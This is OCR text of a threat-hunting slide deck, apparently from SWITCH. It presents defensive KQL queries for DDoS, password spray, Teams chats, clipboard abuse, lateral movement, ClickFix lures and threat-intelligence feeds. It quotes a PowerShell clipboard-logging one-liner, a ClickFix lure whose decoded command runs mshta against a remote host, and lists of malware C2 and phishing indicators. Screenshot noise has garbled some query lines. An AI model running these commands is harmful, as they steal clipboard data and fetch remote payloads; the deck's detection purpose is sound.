Switch
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Threat Hunting over DDoS Attacks

Defense approach over DDoS triggered by unique/new ASN/ISP

)

Q00000

narrowscope S|l TrrTrrrrrmemmrEres IP O0000O0

- Ak 000000
lower defense

................. s 33
AL

LR IPRA PR A N

ASN o000
@' ...... ISP ° o
bigger scope
higher defense

Switch



Threat Hunting over DDoS Attacks

A

FAST
SERVICE

STANDARD
SERVICE

C

COMPLEX
SERVICE

PROTECTING SERVICE AVAILABILITY THROUGH TRAFFIC SEGMENTATION

BANK

Same bank. Different areas.

I

Clients known / Simple operations

9.

=

» Payments
* Withdrawals
* Daily operations

Standard operations

* Procedures
* Changes

» Account management

Complex operations

00 0Q0Q

Y

* Mortgages
* Loans
+ Complex cases

May become saturated

Smoolh & fast

fiaf

Normal load @
—

] |

0

—

(=]

%

&

O

TRUSTED
ASN /ISP

Y

NEW / UNKNOWN
ASN /ISP

A\

SUSPICIOUS /
MIXED
ASN /ISP

ASN / ISP TRAFFIC

Same service. Different replicas.

Replica A

* Known & trusted
* Low risk
+ Reliable behavior

Replica B

+ New or unknown
+ Monitor behavior
+ Observe patterns

Replica C
+ Higher risk

+ Mixed behavior
+ Can generate abuse

.%E}!;r;?.r.&n—.‘ Contained A

‘, 000
cryYD

BANK: Separate workloads — Protect essential service J — [ w NETWORK: Separate ASN/ISP traffic — Protect trusted traffic }

Switch_




Threat Hunting over DDoS Attacks

Network-02 - KQL-02 — High number of connections in a day when the
average x day is X times lower

let CIDRASN = (externaldata (CIDR:string, CIDRASN:int, CIDRASNName:string)

['https://firewalliplists.gypthecat.com/lists/kusto/kusto-cidr-asn.csv.zip'] with
(ignoreFirstRecord=true));

let daily =
DeviceNetworkEvents

where isnotempty(RemoteIP) and RemoteIPType 'has "Private"
where Timestamp >= ago(7d)

I
I
| evaluate ipvd_lookup(CIDRASN, RemoteIP, CIDR, return_unmatched=true)
| where isnotempty (CIDRASN)

I

I

extend Day = format_datetime(startofday(Timestamp), 'yyyy-MM-dd')

summarize Success_Connections = countif(ActionType == "ConnectionSuccess"),
Attempts_Connections = countif(ActionType == "ConnectionAttempt" or
ActionType =="ConnectionFailed"),
Inspected_Connections = countif( ActionType endswith "inspected"),
Requested_Connections = countif(ActionType == "ConnectionRequest"),

make_set(CIDR) ,make_set(RemoteIP),Connections_x_day = count() by
CIDRASN,CIDRASNName, Day;

let summary =

daily | summarize TotalConnections = sum(Connections_x_day),Distinct__Days =
count(),AvgConnectionsPerDay = avg(Connections_x_day)by CIDRASN;
daily

| join kind=inner (summary) on CIDRASN

| extend Multiply_avg = AvgConnectionsPerDay * 4

| where Multiply_avg < Connections_x_day or (Distinct__Days == 1 and Attempts_Connections
> 1000)

| project CIDRASNName,CIDRASN,set_CIDR,set_RemoteIP, Day,Distinct__Days
,Connections_x_day, AvgConnectionsPerDay, TotalConnections, Success_Connections,

Attempts_Connections, Inspected_Connections,Requested_Connections
Switch | order by Attempts_Connections
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Threat Hunting applied on
ldentities



Password Spray Attacks

Switch

- = e
- ®

......



Password Spray Attacks

AlertEvidence //Table
| where Title has "Password Spray” and isnotempty(RemoteIP) //Condition
| join kind=inner (IdentityLogonEvents) on $left.RemoteIP == $right.IPAddress

| summarize
Sign_in_Result=make_ set(ActionType),Logon Types=make set(LogonType),count() by
IPAddress,Location, AccountDisplayName, Applicationl

(] IpAddress Location AccountDisplayName Application] Sign_in_Result Logon_Types
D > 155.2.192.216 us Microsoft 365 ["LogonFailed”] ["Login:logi
[] @ 38.86.196.141 uUs ) Microsoft 365 ["LogonSuccess”,"LogonFailed”] ["SAS:Proce
(] > 201.201.88.199 CR Microsoft 365 ["LogonSuccess”,"LogonFailed”] ["SAS:Proce
] > 27.72.62.165 VN | Microsoft 365 ["LogonSuccess”,"LogonFailed”] ["SAS:Proce

Users PN

D Mark user as compromised

Detection
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Threat Hunting applied on
Software



Threat Hunting over Software Vulnerabilities

Understand Remediate Then hunt Detect where
the risk first backwards it adds value
Check if the vulnerability Check if a patch, fix or KB Look for signs of exploitation Keep detections when useful
applies to you and assess already exists and apply it. or probing before the fix to monitor exploitation
the real risk. was applied. attempts.

Switch



& (4]
N > OE2

oo |
A E

PHP2Shell :

Understand Remediate Then hunt Detect where
the risk first backwards it adds value
Check if the vulnerability Check if a patch, fix or KB Look for signs of exploitation Keep detections when useful
applies to you and assess already exists and apply it. or probing before the fix to monitor exploitation
the real risk. was applied. attempts.

s i

Server PHP ||S

Virtual Directories

8.3.12 | &

Q Up to date pinp LKLY Vunerable

pine

This =
is fine. [intranet @203

Switch



Hunting One to One Teams Chats by External Domains

Switch



1:1 Teams Chats from unexpected countries

CloudAppEvents //Table

| where Application has "Microsoft Teams" and isnotempty(IPAddress) //Condition

| extend Geo IP = tostring(geo info from ip address(IPAddress).country),ChatName = todynamic(RawEventData).ChatName,
TeamName = todynamic(RawEventData).TeamName, ChannelName = todynamic(RawEventData).ChannelName, Operation =
todynamic (RawEventData) .Operation, CommunicationType = todynamic(RawEventData).CommunicationType

| where Operation has "ChatCreated" and CommunicationType has "OneOnOne"

| mv-expand ParticipantsInfo = (todynamic(parse json(RawEventData).ParticipantInfo))

| mv-expand ParticipatingDomains = (ParticipantsInfo).ParticipatingDomains

| mv-expand ParticipatingSIPDomains = (ParticipantsInfo).ParticipatingSIPDomains

| mv-expand ParticipatingSIPDomains = (ParticipatingSIPDomains).DomainName

| where Operation has "ChatCreated" and CommunicationType has "OneOnOne” //Condition

| project AccountDisplayName,ChatCreatedFrom= IPAddress,ChannelName,ChatName, TeamName,Geo IP,
CountryCode,Operation,ParticipatingSIPDomains,ParticipatingDomains, ISP

AccountDisplayName ChatCreatedFrom v ChannelName Geo_IP Vv Operation ParticipatingSIPDomains »  ParticipatingDomains ISP v

Taiwan ChatCreated taiwan mobile co. Itd.
Taiwan ChatCreated taiwan maobile co. Itd.
South Africa ChatCreated vodacom

South Africa ChatCreated vodacom

South Africa ChatCreated vodacom

South Africa ChatCreated vodacom

Germany ChatCreated icomera ab

Germany ChatCreated icomera ab

I i

R Y




1:1 Teams Chats from unexpected countries

Geo IP ™

Taiwan
Taiwan
South Africa
South Africa
South Africa
South Africa
Germany

Germany

P om camm o s a

Operation

ChatCreated
ChatCreated
ChatCreated
ChatCreated
ChatCreated
ChatCreated
ChatCreated

ChatCreated

il =™ s =i = J

ParticipatingSIPDomains *~

ParticipatingDomains *~

ISP v/

taiwan mobile co. Itd.

taiwan mobile co. Itd.

vodacom

vodacom

vodacom

vodacom

icomera ab

icomera ab

HIFR R ———
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Threat Hunting applied on
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Hunting Clipboard-Based Threats

Emoji and more = .

Emoji and more 3 . X -
B ©® 8 ;) I
® © g I =
- Clipboard Clear all
Clipboard
https://www.google.com/
WorldCup2026
Let's get started
Turn on clipboard history to copy and view g

multiple items.

SergioAlbea30405
Turn on

B Registry Editor
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\Microsoft\Clipboard

v . Microsoft Name Type Data
Acc.essibility ab) (Default) REG_SZ (value not set)
PRSI Shetug) #4.CloudClipboardAutomaticUpload : REG_DWORD 0x00000000 (0)

) | EnableClipboardHistory REG_DWORD 0x00000000 (0)
ActiveSync =

AppV ¥ ShellHotKeyUsed REG_DWORD 0x00000000 (0)

Assistance
AuthCookies
Avalon.Graphic

Switch Clipboard

>
> ActiveMovie ~

e N N NS NS




Hunting Clipboard-Based Threats

Switch

PowerShell clipboard cmdlets

In the environments where | tested this,
direct use of clipboard cmdlets ( Get-
Clipboard, Set-Clipboard ) was
extremely rare. That low baseline is exactly
what made them interesting to hunt.

Clipboard-History / sync
enablement

Monitor the registry keys
( EnableClipboardHistory ,
CloudClipboardAutomaticUpload ,
ShellHotKeyUsed ) so you are alerted
whenever the feature or its cloud sync is
turned on where your policy says it should
be off.

/O Search powershell -NoProfile -Command "$last="; while ($true) { try {

$current = Get-Clipboard -Raw; if ($current -ne $last -and

$current) { $timestamp = Get-Date -Format 'yyyy-MM-dd
HH:mm:ss'; Add-Content -Path 'C:\temp\clipboard_log.txt" -Value
\"[Stimestamp] $current\"; $last = Scurrent; } } catch {} Start-Sleep

FileNamel ¥ ' _Milliseconds 500 }"

powershell.exe powershell -NoProfile -Command "$la:

Detection




Hunting Device Vendors

Switch

8 Vendor by

© Add country

' : &

inbound connection context
ks J \
vendor Different_Countries_using_... set_geo_ip
VMware 138 ["Switzerland”,"The Neth...
Intel_Corporate 36 ["United States","The Ne...
Dell_Inc. 37 ["Switzerland","Ireland","...
Intel_Corporate 40 ["The Netherlands","Unit...
Quanta_Storage_Inc. 31 ["Ireland”,"The Netherla...
VMware 9 ["The Netherlands","Ger...
Intel_Corporate 11 ["Switzerland","United St...
Top_Victory_Electronics_(Taiwan)_Co. 22 ["Germany","Switzerland...
HP_Inc. 42 ["Sweden","Ireland","Uni...
Intel_Corporate 37 ["United States","India","...
Top_Victory_Electronics_(Taiwan)_Co. 19 ["France","Switzerland","...
HP_Inc. 40 ["United Kingdom","Ger...

Total_devices_by_vendor

13

oo .\

» Remote IPs using
multiple vendors

Hunting

Total_different_RemotelPs

25314

5809

2861

7302

2120

173

102

1249

7541

3406

1019

4095




Device Lateral Movement

SecurityEvents
| where LogonType == 3 // (NetLogon)
| summarize dcount(Computer) by IpAddress

IpAddress dcount_Computer LM_Assessment Why

10.10.5.12 47 Likely TP One source IP authenticating to many hosts = common
lateral movement pattern (e.g., admin tool abuse, pass-

the-hash, remote service execution prep).

10.10.20.8 31 Likely TP High fan-out from a single workstation subnet IP is

suspicious unless it's a known management node.

I nreat
10.10.1.5 120 Likely FP Typical of infrastructure: DC, file server, SCCM/MECM, Hunting

monitoring, AV mgmt, backup server, jump host.

Devices

01010101

Detection

Switch 82



Device Lateral Movement

SecurityEvents
| where LogonType == 3 // (NetLogon)
| summarize dcount(Computer) by IpAddress

IpAddress dcount_Computer LM_Assessment Why

10.10.5.12 47 Likely TP One source IP authenticating to many hosts = common
lateral movement pattern (e.g., admin tool abuse, pass-

the-hash, remote service execution prep).

10.10.20.8 31 Likely TP High fan-out from a single workstation subnet IP is

suspicious unless it's a known management node.

I nreat
10.10.1.5 120 Likely FP Typical of infrastructure: DC, file server, SCCM/MECM, Hunting

monitoring, AV mgmt, backup server, jump host.

Devices

01010101

Detection

Switch 83
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Threat Hunting applied on
Threat Intelligence



IOC vs IOA

Indicator of Compromise(loC)

Indicator of Attack (IoA)

Post

Scannin I

9

Switch

Il Remote

I Commandl DNS

Executio

N Tunnellinc

IOAs are active in nature and focus
on identifying a cyber attack that is
in process. They also explore the
identity and motivation of the threat
actor, whereas an IOC only helps the
organization understand the events
that took place.

Indicator of Compromises (IOCs) are
responsive measures while Indicator
of Attack are proactive measures.



Why is important? April 2026

Cyber Security News

Hackers Clone CERT-UA Site to Trick Victims
Into Installing Go-Based RAT

By Tushar Subhra Dutta - April 2, 2026

The messages told recipients to download a password-protected archive named

“CERT_UA_protection_tool.zip” or “protection_tool.zip’

rom the file-sharing service

Files.fm, with the claim that it held a specialized security tool requiring immediate

Hackers Use Venom Stealer to Turn ClickFix

Lures Into Full Data Exfiltration Pipelines

By Tushar Subhra Dutta - April 3, 2026

Verify you are human

I'his website is protected by Cloudflare. Complete the security

check to access the page.

| am not a robot

installatio

over port 8443 using WebSockets for live, two-way communication.

Once persistence is in place, AGEWHEEZE connects to its C2 server at 54(.|36.237.92

Remcos RAT Infection Chain Hides Behind
Obfuscated Scripts and Trusted Windows
Binaries

By Tushar Subhra Dutta - April 2, 2026

The campaign’s impact is serious. Once fully deployed, Remcos establishes a

persistent connection to a remote C2 server at 192[.]3[.]27[.]141:808% actively sending

ana receilving data.

Evidence of data collection was confirmed through the creation of a log file
at C:\ProgramData\remcos\logs.dat , which stores captured keystrokes ¢nd other

system information. This indicates the malware was actively staging data for

exfiltration.

NEF MANUAL °
. Press ¥ Command + Space to open Spot

. Type Terminal and press Return

. Paste the ver :lfﬁﬁ on command below and |

Source: https:/icybersecuritynews.com/ 86




KQL Examples - Click Fix Case

Switch_

Verify You Are Human

Please verify that you are a human to continue.

I'm not a rob

Verification Steps

1. Press Windows Button " 8@ " + R
..

2. Press CTRL+ V ;

D Verify You Are Human X +

C

3. Press Enter

resource, and Windows will open it for you.

(8 https://myapt67.s3.amazonaws.com/verify-captcha-v1.html

@ Type the name of a program, folder, document, or Internet

Open: ‘4cAchuAGMAwatAC&AcABnAHIAdABtAGUAZAA: e

Cancel

Browse...

@ == Q Ssearch

= (=) X

E  untitled . + - -

File  Edit — View PowerShell script pasted into &
Run window

powershell.exe -eC

Ln 2, Col1 144 characters Windows (CRLF)

Trasnslated Base64 string:

Verification
Steps

1. Press Windows
Button "s&" + R
2. Press CTRL + V
3. Press Enter

Nﬁihg-..ea@@i A Do

bQBzAGgAdABhACAAaABOAHQACABZADOALWAVAGOAeQBhAHAAJAA2ADCALgBZAD
MALgBhAGOAYQB6AG8AbgBhAHCACWAUAGMAbWBTACBACABNAHIAdABTAGUAZAA=

UTF-8

mshta https://myapt67.s3.amazonaws.com/pgrtmed

11:32 PM
8/28/2024 =




KQL Examples - Click Fix Case

Indicator of Compromise (1oC)

let ioc ip addr = dynamic(["185.234.72.186", "3.23.103.13", "83.242.96.159", "5.8.9.77"1);

DeviceNetworkEvents
| where RemoteIP has any (ioc ip addr)

Indicator of Attack (IoA)

DeviceFileEvents
| where InitiatingProcessCommandLine contains "mshta"

| distinct DeviceName,InitiatingProcessCommandLine

Detection

Switch



Threat Detection based on IOC

Indicator of Compromise (loC) Detection

EmailUrlInfo

| where Url has 'mubasokurso.com’

DETECTION DETAILS RELATIONS COMMUNITY ' 4

2026-01-27 16:39:07 UTC

You Zurich mubasokurso.com

Cloudflare

Error

Switch



Threat Detection based on IOA

Indicator of Attack (IoA)

DeviceFileEvents
| where InitiatingProcessCommandLine contains ‘'mshta’

| distinct InitiatingProcessCommandLine

Detection

InitiatingProcessCommandLine

"mshta.exe" C:\Users\EXTULR~ T\AppData\Local\Temp\TeamViewer\TeamViewer11_Exit.hta

Switch



Threat Hunting based on IOCs

| where isnotempty(ThreatTypes)

| distinct Url,ActionType, ThreatTypes, IsClickedThrough

Url ActionType | ThreatTypes IsClickedThrough
» &) https://doi.org/10.22 =% UrlErrorPage 0
» ) https://youtu.be/9g4 cf ClickAllowed 0
) https://youtu.be/9pc =" ClickBlocked Phish 0
: &) https://youtu.be/9Pi- = ClickAllowed 0
&) https://youtube/9YM =X ClickAllowed Phish 0 Hunting

01010101

Files

Allow/Block

Detection

Quarantine file

Switch_ 91



Threat Intelligence Feeds

A Threat Intelligence (Tl) feed is a continuous source of data that provides indicators and

iInformation about known or emerging cyber threats.

€ Network-based IOCs

Indicators related to internet communication:
*IP addresses (e.g. servers used by attackers)
Domains (malicious websites)

B Host-based IOCs

Indicators observed on a device:
*Suspicious processes
*Unusual startup programs
*Registry or system changes

Switch

File-based IOCs
Indicators related to malicious files:
*File hashes (fingerprints of bad files)
*File names
*File paths

El Email-based IOCs

Indicators found in emails:
*Sender addresses
*Malicious links or attachments
*Phishing subjects or pattern



Tl Feeds Challenges

Duplicated Content

Switch_

Obsoleted projects

Low-Level contributions

(Wordpress.com/asiei49
Wordpress.com
Yammer.com/40rtphp
Yammer.com)



TIFCE ( Tl Feed Content Evaluation)

Switch

TIFCE (Tl Feed Content Evaluation)

/ Active |oc5\

Malicious I0OCs

/ Detected |IOCs \

i

Unique I0Cs

EN

https://doi.org/10.5281/zenodo.18208974




TIFCE ( Tl Feed Content Evaluation) ‘ A Unique 10Cs b

//Importing TI Feeds

let CertPL =externaldata(Domains:string)[@'https://hole.cert. i ins. ' (format = '"txt',i ' true)
| project TIFeed= 'CertPL',I0OC= Domains,Reference = 'https://hole.cert.pl/domains/v2/domains.txt’;

let PhishingArmyFeed = externaldata(Domain: string)[@'https: ishing. download

with (format='txt', ignoreFirstRecord=True) | project Domain =

| project TIFeed= 'PhishingArmyFeed',I0C= Domain,Reference = 'htt S:

let SpydiDomainList =externaldata(Domains:string)[@'https:

| where Domains !startswith '#' | project TIFeed= 'SpydiDomainLlst',IOC— Domains,
Reference = 'https://spydisec.com/maliciousblocklist.txt’;
let Domain_TweetFeedMonth =externaldata(DateUTC: datetime,SourceUser: string,Type: string,Value: string,Tags: string,Tweet: string)
https: ithubusercontent.com/0xDaniellopez/TweetFeed/master month csv']with (format='csv') | where Type has 'domain’
| prOJect TIFeed—'TweetFeedMonth' I0C= Value,Reference='https:
let Domains IOCs =union SpydiDomainList,PhishingArmyFeed, CertPL, Doma1n TweetFeedMonth //create a Table with the TIFeeds
Domains IOCs | summarize dcount(TIFeed),make set(TIFeed) by IOC | order by dcount TIFeed

(] 1o0cwv dcount TIFeed | set TIFeed

(] 2> xalurxojup.cyou 3 ["Domain_TweetFeedMonth","CertPL","SpydiDomainList"]
E] > roblox.com.ml 3 ["Domain_TweetFeedMonth","CertPL","SpydiDomainList"]
(] 7 trumpgift.sx 3 ["Domain_TweetFeedMonth","CertPL","SpydiDomainList"]
(] » ai-tradingesn.com 2 ["CertPL","SpydiDomainList"]

(] 2 sendairejfiqte.cn 2 ["Domain_TweetFeedMonth","SpydiDomainList"]

(] ? allegrolokalnie.pl-729610.cfd 2 ["CertPL","SpydiDomainList"]

E] > cake-wallet-web.at 2 ["Domain_TweetFeedMonth","SpydiDomainList"]



https://hole.cert.pl/domains/v2/domains.txt%27%5Dwith
https://hole.cert.pl/domains/v2/domains.txt%27%5Dwith
https://hole.cert.pl/domains/v2/domains.txt%27;let
https://hole.cert.pl/domains/v2/domains.txt%27;let
https://phishing.army/download/phishing_army_blocklist.txt%27%5D
https://phishing.army/download/phishing_army_blocklist.txt%27;
https://spydisec.com/maliciousblocklist.txt%27%5Dwith
https://spydisec.com/maliciousblocklist.txt%27%5Dwith
https://spydisec.com/maliciousblocklist.txt%27;
https://raw.githubusercontent.com/0xDanielLopez/TweetFeed/master/month.csv%27%5Dwith
https://raw.githubusercontent.com/0xDanielLopez/TweetFeed/master/month.csv%27%5Dwith
https://raw.githubusercontent.com/0xDanielLopez/TweetFeed/master/month.csv%27;let
https://raw.githubusercontent.com/0xDanielLopez/TweetFeed/master/month.csv%27;let

MISP (Malware Information Sharing Platform) | /  ceccaoe

v SWITCH CERT SWITCH CERT ¥ 23696 & source:DXDR/TIFeed @Ip:amber 2026-02-02 2026-02-02 09:01:13 2026-02-02 09:01:17

& TiIFeed:SpydiDomainList § & TIDomain:links.invtdu.to
Q@ DLocation:Inbox
Q@ T[Spearphishing Link (T1566.002)] l:l PAP:AMBEF_I

v SWITCH CERT SWITCH CERT ¥ 23690 & source:DXDR/TIFeed l:l tip:amber 4 2026-01-31 2026-02-01 09:07:20 2026-02-01 09:07:24

& TIFeed:URL_TweetFeedMonth | & 1P:129.199.96.40
@ MailFrom:sjaonrl.cn

@ 10C:htips://manety.scircjt.cn/Rfuncc1013000extfunc/

CI DLocation:Quarantine

& T:[Spearphishing Link (T1566.002)] § & TZ:Z7UP

PAP:AMBER
+ SWITCH CERT SWITCH CERT ¥ 23687 @ |source:DXDR/TIFeed § & [l 4 2026-02-01 2026-02-01 09:07:13 2026-02-01 09:07:14

& TIFeed:URL_TweetFeedMonth | & 1P:129.199.96.40
& MailFrom:chpbcx.cn

& 10C:https://electionture.ykdwglef.cn/Pe

DLocation:Quarantine TIFeed Matches X, (' & Delivered Location based on TIFeeds %,
& T:ISpearphishing Link (T1566.002)] TIFeed:OpenPhish r4
PAP:AMBER TIFeed:URL_TweetFeedMonth DLocation:Quarantine
: i inLi DLocation:Inbox
+ SWITCH CERT SWITCH CERT ¥ 23688 @ |source:DXDR/TIFeed | & KLy TiFeed:SpydiDomaintist [NEEINN

TIFeed:Domain_TweetFeedMonthm DLocation:On-premises/external ¥4

S TiIFeed:URL_TweetFeedMonth

& MailFrom:chpbex.cn
& 10C:https://electionture.ykdwglef.cn/Pe

& DLocation:On-premises/external
Q@ T[Spearphishing Link (T1566.002)]
c: PAP:AMBER

DLocation:Junk folder

DLocation:Forwarded

DLocation:Failed E




MISP (Malware Information Sharing Platform)

*V:X =2 Number of vendors tagging the URL as malicious based on VirusTotal request

Malicious I0Cs

v

SWITCH CERT SWITCH CERT

SWITCH CERT SWITCH CERT

SWITCH CERT SWITCH CERT

SWITCH CERT SWITCH CERT

SWITCH CERT SWITCH CERT

¥ 23597

¥ 23587

¥ 23591

¥ 23592

¥ 23584

Q source:DXDR/TIFeed CI tip:amber

W 1Ireeu:opyuivuIinainiList

@ TIDomain:bling.me

S DLocation:inbox | & Rrarll; :

Q@ T:[Spearphishing Link (T1566 102)]
PAP:AMBER

O source:DXDR/TIFeed § & L0l
¥ TiIFeed:SpydiDomainList
<] TIDomain:qrco.de (S22}

3 TIFeed:SpydiDomainList

3 TIDomain:ling.com | &

3 DLocation:inbox | &

O uPpearpnisnming LINK {1 1206.002)]

E.] PAP:AMBER

$ |source:DXDR/TIFeed | & [ =01
3 TIFeed:SpydiDomainList
3 TIDomain:dub.sh
X DI Aratinnsnhay Tq

@ T:[Spearphishing Link (T1566.002)]

I:I PAP:AMBER

Q source:DXDR/TIFeed ':l tip:amber
S TIFeed:SpydiDomainList

o iz

& DLocation:Inbox

@ T:[Spearphishing Link (T1566.002)]

c: PAP:AMBER

5

2026-01-30 2026-01-3009:06:30 2026-01-30 09:06:31

2026-01-29 2026-01-3009:05:59 2026-01-30 09:06:01

2026-01-29 2026-01-30 09:05:59 2026-01-30 092:06:01

2026-01-29 2026-01-30 09:05:59 2026-01-30 092:06:01

2026-01-29 2026-01-3009:01:18 2026-01-30 092:01:21

URL Match between Email URL and entry on the
TIFeed SpydiDomainList

URL Match between Email URL and entry on the
TIFeed SpydiDomainList

URL Match between Email URL and entry on the
TIFeed SpydiDomainList

URL Match between Email URL and entry on the
TIFeed SpydiDomainList

URL Match between Email URL and entry on the
TIFeed SpydiDomainList




MISP (Malware Information Sharing Platform) ALl hN

let Domain_TweetFeedMonth =externaldata(DateUTC: datetime,SourceUser: string,Type: string,Value: string,Tags:
string, Tweet: string)

[@'https: .githubusercontent.com i (format='csv')| where Type has 'domain’
| . g OxDaniellopez/TweetFeed

h.csv';

0 OxDanielLopez / TweetFeed
Code (© Issues 4 £ Pullrequests () Actions [ Projects (@ Security |~ Insights

@ TweetFeed Puvic O
¥ master ~ ¥ 1Branch © 0 Tags Q Goto file t Add file ~
@ OxDanielLopez 20260203 15:31:53 €794b18 - 17 minutes ago |}
I 202108 20260203 00:09:50
202109 20260203 00:09:50
202110 20260203 00:09:50
W 202111 20260203 00:09:50
W 202112 20260203 00:09:50

Switch


https://raw.githubusercontent.com/0xDanielLopez/TweetFeed/master/month.csv%27%5Dwith
https://raw.githubusercontent.com/0xDanielLopez/TweetFeed/master/month.csv%27%5Dwith
https://raw.githubusercontent.com/0xDanielLopez/TweetFeed/master/month.csv%27;let
https://raw.githubusercontent.com/0xDanielLopez/TweetFeed/master/month.csv%27;let

Threat Intelligence Sources Challenges

1,
"1538391": [

{

'ioc_value": "secretariaa.shop",

VUC e

U . d ’
"threat_type": "botnet_cc",
"malware": "win.formbook",
"malware_alias": "win.xloader",
"malware_printable": "Formbook",
"first_seen_utc": "2025-06-01 10:21:49",

"lact emrean nte": nnll.

)<|.

1,
"1537835": [

{

ioc_value": "windowsmsn-cn. live"

U vpe . e c 7
"threat_type": "botnet_cc",
"malware'": "js.fakeupdates",
"malware_alias": "FakeUpdate,SocGholish",

"malware_printable": "FAKEUPDATES",
= "first_seen_utc": "2025-05-31 06:15:00",

HTlard+d FrAann ot~ 1l 1

Switch

17
"1538421": [
{

"ioc_value": "medellin2029.duckdns.org"
U VDE . A OIla ’

"threat_type": "botnet_cc",

"malware": "win.xworm",

"malware_alias": null,

"malware_printable": "XWorm",

"first_seen_utc": "2025-06-01 16:26:17",

"last seen utc": null.

1y
"1411661": [

{
"ioc_value": "http://www.kytraders.university/b101/",
"ioc_type": "url",
"threat_type": "botnet_cc",
"malware": "win.formbook",

19
"1514671": [

{
"ioc_value": "https://dogalmedical.org/xap",
"ioc_type": "url",
"threat_type": "botnet_cc",
"malware": "win.lumma",
— 1y
I "1412773": [
{

"ioc_value": "http://www.aixabank.video/ol0c/",
"ioc_type": "url",

"threat_type": "botnet_cc",

"malware": "win.formbook",



MATCH-4 Intelligence Ratio Model

For each collected I0C

MATCH-4
Intelligence

Ratio

Al Evaluation
(Microsoft Copilot, Others..?)

https://doi.org/10.5281/zenodo.17012869

Switch



GEANT TI Feeds
2026 Q1/Q2 (Already integraded since 2025 for Malware and phishing cases)

Switch
r TMhreIatsSEring melatssgring D F N
I H mnet ( S! ' L SSSSSSSSSSSSSSSSSSSSSSS
o8
Ireland’s National Education & Research Network
\ N\
Melatssgring m
hreat Sharing

MISP
J
F SUNET

Switch
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Turn hunting and |A



Identifying Suspicious Fake Installer Software

Create an agent that maintains a daily-updated list of legitimate software filenames and
their latest known file hashes. Instead of manually checking whether Chrome, AnyDesk
WinSCP or another application has released a new version, the agent keeps that baseline
updated for me. I can then consume the list directly from KQL and compare what I see in
my environment against what I currently expect to see.

Known filename + Unknown hash = First signal

Known filename + Unknown hash + Untrusted download source = Investigate

Similar trusted filename + Unknown hash + Untrusted download source =
Investigate

Switch



Identifying Suspicious Fake Installer Software

Create an agent that maintains a daily-updated list of legitimate software filenames and
their latest known file hashes. Instead of manually checking whether Chrome, AnyDesk
WinSCP or another application has released a new version, the agent keeps that baseline
updated for me. I can then consume the list directly from KQL and compare what I see in
my environment against what I currently expect to see.

Known filename + Unknown hash = First signal

Known filename + Unknown hash + Untrusted download source = Investigate

Similar trusted filename + Unknown hash + Untrusted download source =
Investigate

Switch



Switch_

Turn raw data into real
detections



Key measures

Percentage & Ratios Classification
o (@( )
O/ A o é} ISP
O \ | 4 .
. “ ASN
. o ® -
Distinct IP’s ®
0 o o . @ Domains
Qo O e ¢
. P

Switch



Turn raw data into real detections

let CIDRASN = (externaldata (CIDR:string, CIDRASN:int, CIDRASNName:string)
[ "https://firewalliplists.gypthecat.com/lists/kusto/kusto-cidr-asn.csv.zip'] with (ignoreFirstRecord=true));

DeviceNetworkEvents
| evaluate ipv4 lookup(CIDRASN, RemoteIP, CIDR, return unmatched=true)

A Up to 50,000 records can be returned in total. Each tenant's results can return up to 50,000 records divided by the number of queried tenants.

mns 30000 items | O Search ‘ > Chart type ~
ActionType RemotelP RemotePort RemoteUrl Vv Locallp LocalPort v Protocol LocallPType RemotelPType InitiatingProcessSHA1
ConnectionSuccess () 172.217.208.94 = 443 () 192.41.159.11 & 54059 Tep Public Public [ 4c9a40707690b0847
ConnectionSuccess () 98.64.248.163 = 443 [S) devicelistenerprod.ei = (=) 192.41.159.11 &£ 62895 Tcp Public Public [} 463f9181b768c1558 =%
ConnectionAcknowledged (=) 20.190.147.1 = 443 (=) 192.41.159.11 = 62894 TepV4
DnsConnectionlnspected  (*) 193.135.168.9 = 53 (=) 192.41.159.11 = 65403 Tep
ConnectionSuccess () 20.190.147.1 = 443 © login.microsoftonling & (=) 192.41,159.11 = 62894 Tep Public Public [ b0750b9¢16a7f8825
DnsConnectioninspected () 193.135.168.9 = 53 () 192.41.159.11 =F 62652 Tep
ConnectionSuccess () 52.123.128.14 = 443 ) ecs.office.com =t (=) 193.135.168.131 = 51429 Tep Public Public [ 18318481bbcc56825 7
ConnectionAcknowledged (*) 52.123.128.14 443 (=) 193.135.168.131 = 51429 TepV4
ConnectionAcknowledged (¢) 52.178.17.235 & 443 (=) 172.20.10.12 = 56115 TepV4
ConnectionSuccess () 52.73.45.44 F 443 © cc-api-data.adobe.io ©F () 172.20.10.12 & 56117 Tep Private Public [ cb2e3¢90f04cecdOcfi =
ConnectionSuccess () 3.216.172.79 =f 443 @ polka.typekitcom & (=) 172.20.10.12 & 56118 Tcp Private Public [ 8bae2a54b6ade018e
ConnectionAcknowledged (*) 52.73.45.44 CF 443 (=) 172.20.10.12 &£ 56117 TepV4
SslConnectionlnspected () 52.178.17.235 = 443 (=) 172.20.10.12 = 56115 Tep
ConnectionSuccess () 20.50.80.213 = 443 © eu-mobile.events.da ©F (=) 172.20.10.12 & 56120 Tep Private Public [ 77c01770f77d410b6 c
SslConnectionlnspected () 3.216.172.79 & 443 () 172.20.10.12 & 56118 Tep

Switc rl nnactinnSueccace le) 20 1Q0 177 84 1 442 £ lanin micracaftanling ™ (=) 172 201012 5R122 Ten Driuat, Duhli ™M a20a7187d4,222421d 4 107



Connections from unexpected ISP

let CIDRASN =

DeviceNetwork
| evaluate ip

(externaldata (CIDR:string, CIDRASN:int, CIDRASNName:string)
['https://firewalliplists.gypthecat.com/lists/kusto/kusto-cidr-asn.csv.zip'] with (ignoreFirstRecord=true));

Events //Table
v4 lookup (CIDRASN, RemoteIP, CIDR,

where isnotempty(RemoteIP) and ActionType has 'ConnectionSuccess’ //Condition

extend Priv

I

|

| where Priva
| extend Geol
| summarize
Different IPs=make set(RemoteIP),make set(ActionType),make set(InitiatingProcessCommandLine),make set(InitiatingPr
ocessFileName),make set(CIDR),make set(GeoIPData),count() by CIDRASNName, DeviceName

ateIP=ipv4 is private(RemoteIP)
teIP == 0 //Condition
PData

tostring(geo info from ip address(RemoteIP).country)

return_unmatched=true) //Matching IPs with ASN

CIDRASNMName

>
>

>

VWV

Microsoft Corporation
Akamai International B.V.
Amazon.com, Inc.
Sunrise GmbH

Fastweb

Google LLC

Neue Medien Muennich =

Cloudflare, Inc.

SWITCH

Different_IPs

DeviceName T v/ set_ActionType v/

2 pc2 ["ConnectionSuccess"]

2 pe2 ["ConnectionSuccess"]

1 pc2 ["ConnectionSuccess”]

L pc2 ["ConnectionSuccess"]
L pc2 ["ConnectionSuccess"]
L pc2 ["ConnectionSuccess"]
["ConnectionSuccess"]
["ConnectionSuccess"]

